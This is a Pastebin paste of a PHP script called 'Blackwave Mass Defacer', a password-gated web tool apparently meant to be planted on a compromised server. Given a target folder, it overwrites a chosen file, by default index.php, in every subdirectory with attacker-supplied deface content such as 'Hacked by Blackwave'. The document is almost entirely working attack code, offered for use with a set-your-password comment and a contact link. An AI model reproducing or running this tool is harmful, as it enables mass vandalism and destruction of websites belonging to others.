PalmaSolutions

mass.php

Apr 16th, 2018
266
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.55 KB | None | 0 0
  1. <?php
  2. $pass = "abrar@1337"; /// PUT YOUR PASSWORD HERE
  3. session_start();
  4. ?>
  5. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  6. <html>
  7. <style>
  8. body{cursor:url("http:///foro.elhacker.net/elhacker.cur"),auto;}
  9. body {
  10.     background-image: url(https://i0.wp.com/wrbbradio.org/wp-content/uploads/2016/10/grey-background-07.jpg?fit=2560%2C1544);
  11.     margin-left: 0px;
  12.     margin-top: 0px;
  13.     margin-right: 0px;
  14.     margin-bottom: 0px;
  15.     background-position:right top;
  16.     background-repeat:no-repeat;
  17.     background-size:110%
  18. }
  19. </style>
  20. <head>
  21. <meta http-equiv="Content-Type" content="text/html; charset=windows-1256" />
  22. <link rel="shortcut icon" type="image/x-icon" href="https://0.s3.envato.com/files/123602255/Tunisia%20Flag%20590x332.jpg" />
  23. <!-- CSS_ADSBLOCK_START -->
  24. <link rel="stylesheet" href="http://adblockers.opera-mini.net/css_block/default-domainless.css" type="text/css" />
  25. <!-- CSS_ADSBLOCK_END -->
  26. </head>
  27. <body>
  28. <?php
  29. if (!empty($_GET['action']) &&  $_GET['action'] == "logout") {session_destroy();unset ($_SESSION['pass']);}
  30.  
  31. $path_name = pathinfo($_SERVER['PHP_SELF']);
  32. $this_script = $path_name['basename'];
  33. if (empty($_SESSION['pass'])) {$_SESSION['pass']='';}
  34. if (empty($_POST['pass'])) {$_POST['pass']='';}
  35. if ( $_SESSION['pass']!== $pass)
  36. {
  37.     if ($_POST['pass'] == $pass) {$_SESSION['pass'] = $pass; }
  38.     else
  39.     {
  40.         echo '<form action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="pass" type="password"><input type="submit"></form>';
  41.         exit;
  42.     }
  43. }
  44.  
  45. echo "<title>Blackwave Mass Defacer</title>";
  46.  
  47. echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
  48. echo "<body bgcolor='gray'><font color=black'><font face='Electrolize'>";
  49. echo "<center><form method='POST'>";
  50. echo "<hr color='black'><font color='white'>Target Folder</font><br>";
  51. echo "<input cols='10' rows='10' type='text' style='color:black;background-color:white' name='base_dir' value='".getcwd ()."'><br><br>";
  52. echo "<font color='white'>Name of File</font><br><input cols='5' rows='5' type='text' style='color:black;background-color:white' name='andela' value='index.php'><br>";
  53. echo "<font color='white'>Script Deface</font><br><textarea cols='25' rows='8' style='color:black;background-color:white;background-image:url();' name='index'>Hacked by Blackwave</textarea><br>";
  54. echo "<input type='submit' value='Mass !!!'></form></center>";
  55.  
  56. if (isset ($_POST['base_dir']))
  57. {
  58.         if (!file_exists ($_POST['base_dir']))
  59.                 die ($_POST['base_dir']." Not Found !<br>");
  60.  
  61.         if (!is_dir ($_POST['base_dir']))
  62.                 die ($_POST['base_dir']." Is Not A Directory !<br>");
  63.  
  64.         @chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
  65.  
  66.         $files = @scandir ($_POST['base_dir']) or die ("Fuck u -_- <br>");
  67.  
  68.         foreach ($files as $file):
  69.                 if ($file != "." && $file != ".." && @filetype ($file) == "dir")
  70.                 {
  71.                         $index = getcwd ()."/".$file."/".$_POST['andela'];
  72.                         if (file_put_contents ($index, $_POST['index']))
  73.                                 echo "<hr color='black'>>> <font color='black'>$index&nbsp&nbsp&nbsp&nbsp</font><font color='lime'>(&#10003;)</font>";
  74.                 }
  75.         endforeach;
  76. }
  77.  
  78. ?>
  79. <br>
  80. <br>
  81. <br>
  82. <br>
  83. <br>
  84. <br>
  85. <br>
  86. <br>
  87. <br>
  88. <br>
  89. <br>
  90. <br>
  91.  
  92. <center><a href="http://www.facebook.com/neo.arfxoui"><font face="Iceland" style="color:#000;text-shadow:0px 1px 5px #000;font-size:20px">Contact Me</font>
Advertisement
Add Comment
Please, Sign In to add comment